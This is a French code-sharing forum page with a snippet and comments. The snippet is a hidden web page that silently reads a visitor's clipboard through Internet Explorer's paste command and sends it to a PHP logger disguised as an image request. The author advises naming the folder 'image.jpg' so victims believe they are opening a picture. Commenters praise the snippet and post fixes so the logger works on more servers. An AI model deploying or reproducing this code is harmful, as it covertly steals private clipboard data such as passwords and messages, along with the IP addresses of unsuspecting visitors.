Connaitre le contenu du presse papier d'un visiteur et le loguer

Soyez le premier à donner votre avis sur cette source.

Snippet vu 10 320 fois - Téléchargée 27 fois

Contenu du snippet

Encore une petite bidouille assez marante ...
J'ai adapté à ma façon, et très mal !, un script JS qui affichait le contenu du presse papier quand on navigait sur le page pour qu'il transmette le contenu du presse papier du visiteur à un script php, sans éveiller les soupsons de IE (comme si le .php était une image) et le PHP log tout ça dans un fichier .txt

Je vous conseille de mettre la page en index.htm dans un dossier image.jpg de type : http://www.serv.tld/image.jpg comme ça le mec crois ouvrir une image :p

Je n'ai aucune prétention en javascript donc je ne sais pas trop comment marche les variables mais si vous avez des conseils n'hésitez pas !

Notez pas très sévére pour le JS ! lol

Le code :

Source / Exemple :


index.htm :
-------------

<html>
<body>
<form name="tito" id="tito">
<textarea style="width=0px;height=0px" name="zone" id="zone"></textarea>
</form>
<script>
fuckU = new Image;

var popo=tito.zone.createTextRange();
popo.execCommand("Paste");
popo.collapse(false);

fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;

</script>
</body>
</html>

microsoft.php (le nom mé passé par la tet ... désolé !) :
----------------------------------------------------------------

<?
/// PoPo 2004

if($toto != ""){
         $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $REMOTE_ADDR . " - " . $HTTP_USER_AGENT . " " . $HTTP_ACCEPT_LANGUAGE . "] :\r\n" . $toto . "\r\n>>---------------<<\r\n\r\n";

         $popo = fopen("histo.txt", "a");
         fputs($popo, $toto);
         fclose($popo);
}

?>

Conclusion :


Merci à s0nic Kaos pour l'idée :)

@++
PoPo

A voir également

Ajouter un commentaire

Commentaires

thepopolinux
Messages postés
245
Date d'inscription
jeudi 9 janvier 2003
Statut
Membre
Dernière intervention
21 juin 2004
-
Encore une fois ... c'est pas pour le javascript que j'ai posté cette source (j'ai honte !), c'est pour l'idée et un peu pour le PHP :)

Soyez indulgent :p

@++
PoPo
stef2004
Messages postés
105
Date d'inscription
mercredi 4 février 2004
Statut
Membre
Dernière intervention
29 décembre 2005
-
C'est une bonne idée mais moi g mi comen texte log2.txt et aucune information sur le visiteur ne vient s'y ajouter
http://membres.lycos.fr/stefcho2/log2.txt

stef2004
http://membres.lycos.fr/stefcho2/vb/
-=|[titiplusplus]|=-
Messages postés
28
Date d'inscription
vendredi 7 novembre 2003
Statut
Membre
Dernière intervention
19 avril 2004
-
Rigolo comme tout !!!
Ca peux etre pas mal pour une application qui nécéssite un rappel des données copiées ...
On met ca dans une barre d'outil sur le coté et zou ...
Rien n'empèche ensuite de faire appel à une table mySql par ex...
Je met ce script de coté moi :-)

Ca mérite un 8/10 pour la pertinence.

Au fait je te conseille d'y apporter ces modif pour le rendre compatible avec toute les configuration php (php.ini->register_global)

$toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $toto . "\r\n>>---------------<<\r\n\r\n";
defkrie
Messages postés
438
Date d'inscription
vendredi 20 septembre 2002
Statut
Membre
Dernière intervention
20 novembre 2004
-
jaime bien.
-=|[titiplusplus]|=-
Messages postés
28
Date d'inscription
vendredi 7 novembre 2003
Statut
Membre
Dernière intervention
19 avril 2004
-
Et encore une fois je poste trop vite ...

$toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $_GET["toto"] . "\r\n>>---------------<<\r\n\r\n";

j'avais oublié le $_GET["toto"]

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.